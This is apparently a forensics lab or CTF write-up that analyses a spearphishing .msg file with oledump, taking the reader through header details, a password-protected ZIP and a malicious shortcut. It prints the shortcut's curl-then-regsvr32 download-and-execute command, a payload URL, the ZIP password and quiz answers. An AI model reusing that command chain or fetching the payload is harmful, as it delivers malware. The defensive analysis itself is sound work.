Scenario: A spearphishing email arrived as a
.msg file with a malicious HTML
attachment. Per MITRE ATT&CK T1598.002 (Spearphishing Attachment), adversaries frequently attach files
relying on the recipient opening them and following embedded instructions. The task: parse the raw MSG structure
with oledump, extract sender authentication data from the headers, and follow the attachment through a
password-protected ZIP and a malicious shortcut down to the final payload URL.
Working With Oledump & MSG Files
Outlook
.msg files are OLE Compound File Binary Format documents — the same underlying container format
as legacy .doc/.xls — which means the excellent oledump.py toolkit (usually
reached for on Office macro malware) works on them too, provided the right plugin is loaded. Each stream inside the
file is named with an 8-digit hex property tag that identifies what it holds — sender info, subject, attachments,
message class — and plugin_msg decodes those tags into human-readable labels automatically.
Q1What plugin is included in the oledump directory that scans streams in MSG files?
The oledump toolkit ships over 30 plugins for different container formats; the one purpose-built for Outlook MSG structures decodes each stream's property tag into its named meaning.
answerplugin_msg
Q2What is the 8-digit hexadecimal property tag of the "Attach long filename" stream (PR_ATTACH_LONG_FILENAME)?
oledump.py -p plugin_msg.py T1598.msg
Running
plugin_msg against the message dumps every stream with its decoded property — stream 7 resolves to UNI Attach long filename holding the value Compensation_897179.html, which is the actual attachment name the plugin surfaces alongside its tag.answer0x3707001F
Q3During the analysis of the streams, what is the message class?
Stream 16 (
__substg1.0_001A001F, property tag 001A) decodes to UNI Message class — IPM.Note is the standard class for an ordinary Outlook mail item, confirming this parsed cleanly as a regular email rather than a calendar item, task, or other MAPI object type.answerIPM.Note
Q4What is the sender's IP address?
The email's Authentication-Results header shows SPF passing for the spoofed sender domain
through-work@grow-jp.com, explicitly designating this IP as a permitted sender — meaning the attacker controlled DNS/SPF records for their spoofed domain rather than relying on a domain with no SPF policy at all.answer210.134.168.89
Q5What was the total delay (in seconds) between the sender and the email receiver?
Comparing the mail server's two logged
Received: timestamps for the same hop — 16:34:49 minus a sender-side timestamp of 16:34:46 — gives the transit delay for this leg of delivery.answer3
Q6What is the company that developed the antispam software used by the target?
The
X-Virus-Scanner header discloses exactly which mail-security product scanned (and passed) the message — useful both for understanding what the message evaded and for confirming what's actually deployed at the target organization.answerESET
Q7Dumping the malicious HTML file and opening it will download a zip file. What is the zip file's MD5 hash?
certutil -hashfile Compensation_897179.zip MD5
Opening the dumped
Compensation_897179.html triggers an automatic download of Compensation_897179.zip — the actual malware delivery stage disguised behind what looks like an invoice document.answer7e42f69b2adce7166408f635a093266e
Q8What full URL is used by the malicious shortcut embedded in the zip file?
python oledump.py -p plugin_msg_summary.py T1598.msg --pluginoptions -b
The zip is password-protected, but
plugin_msg_summary extracts the email body directly from the MSG structure — stream index 38 — which contains the password in plaintext: Password is abc123. Unzipping with it reveals a .lnk shortcut whose Target field runs cmd.exe /c curl -o %temp%\5552.jpg <URL>&®svr32 %temp%\5552.jpg — a classic LNK-to-cmd chain that downloads a payload disguised with a .jpg extension and immediately registers it as a COM object via regsvr32, a common AppLocker/defense-evasion bypass.answerhttp://23.29.125.210/herALook.dat
IOC Summary
| Item | Value |
|---|---|
| Attachment Long Filename Tag | 0x3707001F |
| Message Class | IPM.Note |
| Sender IP (SPF pass) | 210.134.168.89 |
| Spoofed Sender Domain | through-work@grow-jp.com |
| Delivery Delay | 3 seconds |
| Target's Antispam Vendor | ESET |
| Dropped ZIP | Compensation_897179.zip |
| ZIP MD5 | 7e42f69b2adce7166408f635a093266e |
| ZIP Password | abc123 (extracted from MSG body) |
| LNK Payload Technique | curl → %temp%\5552.jpg → regsvr32 |
| Final Payload URL | http://23.29.125.210/herALook.dat |
Lessons learned: Treating a
.msg file as just another OLE container — rather than
something that needs a dedicated Outlook-specific tool — opens up the entire oledump ecosystem for email forensics,
including plugins built for a completely different original use case. Password-protecting a malicious ZIP is a
cheap but effective trick against automated sandboxes and AV scanners that can't open it; the password sitting
in plaintext in the email body (extractable straight from the MSG structure without ever opening Outlook) shows why
static parsing beats relying on dynamic detonation alone. The LNK → curl → regsvr32 chain is worth committing to
memory as a pattern: a shortcut disguised as a document, downloading a payload with a misleading extension, then
using a signed Windows binary (regsvr32) to execute it is textbook living-off-the-land defense evasion.